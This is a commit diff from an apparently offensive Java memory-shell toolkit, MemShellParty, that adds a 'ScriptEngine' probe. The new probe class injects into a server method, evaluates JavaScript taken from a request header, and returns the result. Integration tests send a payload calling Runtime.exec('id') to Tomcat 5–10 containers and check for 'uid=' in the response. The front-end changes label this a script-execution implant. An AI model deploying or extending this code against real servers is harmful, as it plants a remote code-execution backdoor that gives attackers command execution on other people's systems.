mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support script engine probe
This commit is contained in:
@@ -10,5 +10,6 @@ public enum ProbeContent {
|
||||
JDK,
|
||||
Bytecode,
|
||||
Command,
|
||||
BasicInfo
|
||||
BasicInfo,
|
||||
ScriptEngine
|
||||
}
|
||||
|
||||
+3
@@ -9,6 +9,7 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
|
||||
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
|
||||
import com.reajason.javaweb.probe.payload.CommandProbe;
|
||||
import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
|
||||
import com.reajason.javaweb.probe.payload.response.*;
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
@@ -51,6 +52,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
return CommandProbe.class;
|
||||
case Bytecode:
|
||||
return ByteCodeProbe.class;
|
||||
case ScriptEngine:
|
||||
return ScriptEngineProbe.class;
|
||||
default:
|
||||
throw new GenerationException("responseBody not supported for probe content: " + probeConfig.getProbeContent());
|
||||
}
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.probe.payload;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import javax.script.ScriptEngine;
|
||||
import javax.script.ScriptEngineManager;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/18
|
||||
*/
|
||||
public class ScriptEngineProbe {
|
||||
private final String script;
|
||||
|
||||
public ScriptEngineProbe(String script) {
|
||||
this.script = script;
|
||||
}
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
|
||||
ScriptEngine js = new ScriptEngineManager().getEngineByName("js");
|
||||
if (js == null) {
|
||||
return ret = "js engine is null";
|
||||
}
|
||||
return ret = js.eval(data).toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String toString() {
|
||||
return ScriptEngineProbe.exit(script, super.toString());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.probe.payload;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/18
|
||||
*/
|
||||
class ScriptEngineProbeTest {
|
||||
|
||||
@Test
|
||||
void test(){
|
||||
String hello = new ScriptEngineProbe("1 + 1").toString();
|
||||
assertEquals("2", hello);
|
||||
}
|
||||
}
|
||||
@@ -110,4 +110,36 @@ public class ProbeAssertion {
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void responseScriptEngineIsOk(String url, String server, int targetJreVersion) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.probeMethod(ProbeMethod.ResponseBody)
|
||||
.probeContent(ProbeContent.ScriptEngine)
|
||||
.debug(true)
|
||||
.shrink(true)
|
||||
.staticInitialize(true)
|
||||
.targetJreVersion(targetJreVersion)
|
||||
.build();
|
||||
String headerName = "X-Header";
|
||||
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||
.server(server)
|
||||
.reqParamName(headerName)
|
||||
.build();
|
||||
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
||||
String content = probeResult.getShellBytesBase64Str();
|
||||
RequestBody requestBody = new FormBody.Builder()
|
||||
.add("data", content)
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
|
||||
.url(url + "/b64").post(requestBody)
|
||||
.build();
|
||||
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||
assertThat(response.body().string(), anyOf(
|
||||
containsString("uid=")
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+8
-1
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -63,6 +63,13 @@ public class Tomcat10ContainerTest {
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
|
||||
+7
@@ -71,6 +71,13 @@ public class Tomcat5ContainerTest {
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
|
||||
+7
@@ -63,6 +63,13 @@ public class Tomcat6ContainerTest {
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
|
||||
+8
-1
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junitpioneer.jupiter.RetryingTest;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -65,6 +65,13 @@ public class Tomcat7ContainerTest {
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_7);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_7);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
|
||||
+8
-1
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -64,6 +64,13 @@ public class Tomcat8ContainerTest {
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
|
||||
+8
-1
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junitpioneer.jupiter.RetryingTest;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -64,6 +64,13 @@ public class Tomcat9ContainerTest {
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V9);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V9);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
|
||||
Binary file not shown.
+3
-3
@@ -17,7 +17,7 @@
|
||||
"@biomejs/biome": "2.1.4",
|
||||
"@react-router/dev": "^7.9.6",
|
||||
"@types/node": "^24.10.1",
|
||||
"@types/react": "^19.2.5",
|
||||
"@types/react": "^19.2.6",
|
||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
"@types/react-syntax-highlighter": "^15.5.13",
|
||||
@@ -31,7 +31,7 @@
|
||||
"dependencies": {
|
||||
"@hookform/resolvers": "^5.2.2",
|
||||
"@tailwindcss/vite": "^4.1.17",
|
||||
"@tanstack/react-query": "^5.90.9",
|
||||
"@tanstack/react-query": "^5.90.10",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"framer-motion": "^12.23.24",
|
||||
@@ -42,7 +42,7 @@
|
||||
"react": "^19.2.0",
|
||||
"react-copy-to-clipboard": "^5.1.0",
|
||||
"react-dom": "^19.2.0",
|
||||
"react-hook-form": "^7.66.0",
|
||||
"react-hook-form": "^7.66.1",
|
||||
"react-i18next": "^15.7.4",
|
||||
"react-router": "^7.9.6",
|
||||
"react-router-dom": "^7.9.6",
|
||||
|
||||
@@ -31,6 +31,7 @@ const PROBE_OPTIONS = [
|
||||
{ value: "JDK" as const, label: "jdk" },
|
||||
{ value: "Command" as const, label: "command" },
|
||||
{ value: "Bytecode" as const, label: "bytecode" },
|
||||
{ value: "ScriptEngine" as const, label: "script" },
|
||||
] as const;
|
||||
|
||||
const MIDDLEWARE_OPTIONS = [
|
||||
@@ -73,7 +74,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
||||
|
||||
const filteredOptions = useMemo(() => {
|
||||
const filterMap = {
|
||||
ResponseBody: ["Command", "Bytecode"],
|
||||
ResponseBody: ["Command", "Bytecode", "ScriptEngine"],
|
||||
DNSLog: ["JDK", "Server"],
|
||||
Sleep: ["Server"],
|
||||
} as const;
|
||||
@@ -207,12 +208,12 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
||||
|
||||
const renderDynamicFields = useCallback(() => {
|
||||
const isBodyMethod = watchedProbeMethod === "ResponseBody";
|
||||
const isCommandOrBytecode =
|
||||
watchedProbeContent === "Command" || watchedProbeContent === "Bytecode";
|
||||
const needParam =
|
||||
watchedProbeContent === "Command" || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine";
|
||||
const isSleepMethod = watchedProbeMethod === "Sleep";
|
||||
const isServerContent = watchedProbeContent === "Server";
|
||||
|
||||
if (isBodyMethod && isCommandOrBytecode) {
|
||||
if (isBodyMethod && needParam) {
|
||||
return RequestParamField;
|
||||
}
|
||||
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
"dnslog.host": "DNSLog Host",
|
||||
"probeContent": "ProbeContent",
|
||||
"probeContent.bytecode": "Bytecode",
|
||||
"probeContent.script": "ScriptEngine",
|
||||
"probeContent.command": "Command",
|
||||
"probeContent.jdk": "JDK",
|
||||
"probeContent.server": "Server",
|
||||
|
||||
@@ -2,7 +2,8 @@
|
||||
"buttons.generate": "生成探测马",
|
||||
"dnslog.host": "DNSLog 地址",
|
||||
"probeContent": "探测内容",
|
||||
"probeContent.bytecode": "自定义字节码执行",
|
||||
"probeContent.bytecode": "字节码执行",
|
||||
"probeContent.script": "脚本引擎执行",
|
||||
"probeContent.command": "命令执行",
|
||||
"probeContent.jdk": "JDK 信息",
|
||||
"probeContent.server": "服务类型",
|
||||
|
||||
Reference in New Issue
Block a user